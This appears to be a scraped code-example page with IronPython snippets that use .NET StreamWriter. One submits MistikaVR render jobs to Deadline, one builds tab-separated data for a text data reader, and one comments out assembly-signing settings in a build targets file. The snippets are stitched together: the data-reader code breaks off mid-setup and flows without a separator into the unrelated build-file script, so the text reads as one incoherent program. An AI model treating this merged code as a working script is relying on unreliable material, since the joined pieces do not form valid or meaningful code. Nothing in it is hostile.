        jobInfoFilename = os.path.join(ClientUtils.GetDeadlineTempPath(),
                                       "mistikavr_job_info.job")
        writer = StreamWriter(jobInfoFilename, False, Encoding.Unicode)
        writer.WriteLine("Plugin=MistikaVR")

        for option, value in jobOptions.iteritems():
            writer.WriteLine("%s=%s" % (option, value))

        writer.WriteLine("Frames=%s" % frames)
        writer.WriteLine("ChunkSize=%s" %
                         scriptDialog.GetValue("ChunkSizeBox"))

        if not submittedFromMonitor and sceneFile == rndFileName:
            writer.WriteLine("OutputFilename0=%s" %
                             outputFile.replace("%06d", "######"))

        writer.Close()

        if len(sceneFiles) > 1:
            # reset the job name for the next job to be submitted
            jobOptions["Name"] = originalJobName

        # Create plugin info file.
        pluginInfoFilename = os.path.join(ClientUtils.GetDeadlineTempPath(),
                                          "mistikavr_plugin_info.job")
        writer = StreamWriter(pluginInfoFilename, False, Encoding.Unicode)

        if not submitScene:
            writer.WriteLine("SceneFile=%s" % sceneFile)

        writer.WriteLine("ImageRender=%s" % scriptDialog.GetValue("ImageBox"))
        writer.Close()

        # Setup the command line arguments.
        arguments = [jobInfoFilename, pluginInfoFilename]

        if submitScene:
            arguments.append(sceneFile)

        if len(sceneFiles) == 1:
            results = ClientUtils.ExecuteCommandAndGetOutput(arguments)
            scriptDialog.ShowMessageBox(results, "Submission Results")
        else:
            # Now submit the job.
            exitCode = ClientUtils.ExecuteCommand(arguments)
            if exitCode == 0:
                successes = successes + 1
            else:
                failures = failures + 1

    if len(sceneFiles) > 1:
        scriptDialog.ShowMessageBox(
            "Jobs submitted successfully: %d\nJobs not submitted: %d" %
            (successes, failures), "Submission Results")
Example #24
0
dt["eventType"] = "CASE_STARTER"
dt["desc"] = "Enter Customer Onboarding Data"
dt["singleEvent"] = "TRUE"
dataTable.Rows.Add(dt)

textData = "parentType\tparentId\tstart\tend\teventType\tdesc\tsingleEvent\r\n"
for row in dataTable.Rows:
    textData += row["parentType"] + "\t" + str(row["parentId"]) + "\t" + str(
        row["start"]) + "\t" + str(row["end"]) + "\t" + str(
            row["eventType"]) + "\t" + str(
                row["desc"]) + "\t" + row["singleEvent"] + "\r\n"

print textData

stream = MemoryStream()
writer = StreamWriter(stream)
writer.Write(textData)
writer.Flush()
stream.Seek(0, SeekOrigin.Begin)

readerSettings = TextDataReaderSettings()
readerSettings.Separator = "\t"
readerSettings.AddColumnNameRow(0)
readerSettings.SetDataType(0, DataType.String)
readerSettings.SetDataType(1, DataType.String)
readerSettings.SetDataType(2, DataType.Date)
readerSettings.SetDataType(3, DataType.Date)
readerSettings.SetDataType(4, DataType.String)
readerSettings.SetDataType(5, DataType.String)
readerSettings.SetDataType(6, DataType.String)
path = r"lib/EnyimMemcached/build/CommonProperties.targets"

sr = StreamReader(path)
sb = StringBuilder()

line = sr.ReadLine()
while not line is None:
    
    #I'm sure this could all be done in a couple of lines with a nice multi-line Regex
    #All this does is comment out property groups that attempt to set signing 
    if line.Trim().StartsWith("<PropertyGroup") and line.Contains("PrivateKey"):
        
        sb.AppendFormat("<!--{0}\r\n", line)                 
        while line is not None and line.Trim() != "</PropertyGroup>":
            sb.AppendLine(line)
            line = sr.ReadLine()
        else:
            sb.AppendFormat("{0}-->\r\n", line)            
    else:
        sb.AppendLine(line)
    
    line = sr.ReadLine()
        
content = sb.ToString()
content = content.Replace("<DelaySign>true</DelaySign>", "<DelaySign>false</DelaySign>")
content = content.Replace("<SignAssembly>true</SignAssembly>", "<SignAssembly>false</SignAssembly>")
sr.Dispose()

sw = StreamWriter(path, False)
sw.Write(sb.ToString())
sw.Dispose()